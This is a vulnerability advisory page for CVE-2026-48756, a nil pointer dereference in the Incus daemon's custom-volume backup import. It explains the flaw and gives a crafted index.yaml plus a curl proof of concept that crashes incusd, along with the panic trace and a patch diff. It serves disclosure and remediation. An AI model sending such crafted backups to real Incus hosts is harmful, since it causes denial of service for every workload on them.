Skip to main content

Incus CVE-2026-48756

LOW
NULL Pointer Dereference (CWE-476)
2026-06-26 https://github.com/lxc/incus GHSA-xhqx-mgh3-3h7q

Severity by source

vuln.today AI
6.5 MEDIUM

Network-reachable REST API with low complexity; requires explicitly-granted low-privilege credential (`can_create_storage_volumes`); sole impact is total availability loss of the incusd daemon with no confidentiality or integrity effect.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 26, 2026 - 19:52 vuln.today
Analysis Generated
Jun 26, 2026 - 19:52 vuln.today

DescriptionCVE.org

Summary

(*backend).CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with can_create_storage_volumes permission on any project can crash the incusd daemon by uploading a backup tarball whose volume_snapshots[*].expires_at field is absent.

This is a sibling-field variant of GHSA-r7w7-mmxr-47r9 (CVE-2026-40197). Commit 985a1dedf9f3e7ba729c93b654905ed510de25c2 added if s == nil at the top of the loop body, but did not guard the adjacent *snapshot.ExpiresAt deref 19 lines later. Every other consumer of Config.VolumeSnapshots[i].ExpiresAt in this same file already gates the deref with a nil-check - the asymmetric guard is the bug.

Vulnerable code

internal/server/storage/backend.go, CreateCustomVolumeFromBackup:

go
// Line 7710-7714 - the parent fix from GHSA-r7w7
for _, s := range srcBackup.Config.VolumeSnapshots {
    if s == nil {
        return errors.New("Bad snapshot definition found in index")
    }
    snapshot := s
    snapName := snapshot.Name
    // ...
    // Line 7731 - UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,   // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go:21,88). Every other consumer in the same file already uses the safe pattern:

LineCodeGuarded?
909-910CreateInstanceFromBackupYES
1134-1135refresh pathYES
1422-1423migration pathYES
7731CreateCustomVolumeFromBackupNO

Reach

  1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the can_create_storage_volumes entitlement on any project. Same auth gate as parent GHSA-r7w7.
  2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-Incus-name: <name>.
  3. Body is a tar containing backup/index.yaml with type: custom, a non-nil volume: block, and volume_snapshots: [{name: snap0}] (no expires_at field).
  4. cmd/incusd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the s == nil guard at 7712 passes (snapshot pointer is non-nil) -> *snapshot.ExpiresAt on line 7731 panics on the nil *time.Time.
  5. No recover() is installed in the operation runner, so the panic kills the entire incusd process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

yaml
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  volume: {name: poc-vol, type: custom, content_type: filesystem, config: {}}
  volume_snapshots:
    - name: snap0
      description: snap0
      config: {}
# expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 479-byte poc-vol.tar.gz.

Tested against incus 7.0.0 (zabbly latest GA at time of report; build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with the default dir storage pool.

bash
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-vol.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-vol' \
    http://incus/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep
# process is GONE

Daemon panic from /tmp/incus.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x162b938]

goroutine 422 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateCustomVolumeFromBackup(...)
    /build/incus/internal/server/storage/backend.go:7731 +0xb48
main.createStoragePoolVolumeFromBackup.func7(...)
    /build/incus/cmd/incusd/storage_volumes.go:2915 +0x290
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c
created by github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start in goroutine 408
    /build/incus/internal/server/operations/operations.go:306 +0x168

Stack frame backend.go:7731 is the literal *snapshot.ExpiresAt line. Same line in v6.0.x LTS is backend.go:7271 (also panics; v6.0.x additionally lacks the s == nil parent fix so a single nil snapshot pointer also panics there).

Impact

  • Severity: denial of service against the entire incusd process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
  • Network attack surface: the Incus REST API on :8443 or the unix socket.
  • CWE-476 - Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Suggested fix

Mirror the guard pattern already in use at lines 909-910 / 1134-1135 / 1422-1423:

diff
--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -7728,9 +7728,14 @@ func (b *backend) CreateCustomVolumeFromBackup(...) error {
         snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }

Reporter notes

Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.

AnalysisAI

Nil pointer dereference in the Incus daemon (incusd) CreateCustomVolumeFromBackup function crashes the entire daemon process when a crafted backup tarball omits the expires_at field on any volume snapshot entry. Any authenticated user holding the can_create_storage_volumes entitlement on any project - below the admin tier - can trigger this with a single POST to the storage backup import endpoint, making it a persistent denial-of-service against all container, VM, and storage operations on the affected host or cluster member. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Obtain `can_create_storage_volumes` credential on any project
Delivery
Craft backup tarball with volume_snapshots entry missing expires_at
Exploit
POST tarball to /1.0/storage-pools/<pool>/volumes/custom
Install
s==nil guard passes (snapshot pointer is non-nil)
C2
Unguarded *snapshot.ExpiresAt dereference panics at backend.go:7731
Execute
Unhandled Go panic kills entire incusd process
Impact
Persistent DoS until operator restarts daemon

Vulnerability AssessmentAI

Exploitation The attacker must be authenticated to Incus via TLS client certificate, OIDC token, or local unix socket access, and must hold the `can_create_storage_volumes` entitlement on at least one project - this is an explicitly delegated non-admin permission, not a default for all users. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No official NVD CVSS vector or EPSS score is present in the available data; the reporter estimates 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H), which is consistent with the described attack path. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a valid Incus credential bearing `can_create_storage_volumes` on any project constructs a 479-byte backup tarball containing a `backup/index.yaml` with a `volume_snapshots` entry that has `name` and `description` set but omits the `expires_at` field entirely. A single `curl` POST of this tarball to `POST /1.0/storage-pools/default/volumes/custom` causes incusd to dereference the nil `*time.Time` pointer at `backend.go:7731`, triggering a Go panic that terminates the entire daemon; repeated POSTs constitute a persistent denial of service that requires operator intervention to recover. …
Remediation Upgrade to Incus 7.1.0 or later, which contains the upstream fix per the advisory at https://github.com/lxc/incus/security/advisories/GHSA-xhqx-mgh3-3h7q. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-48756 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy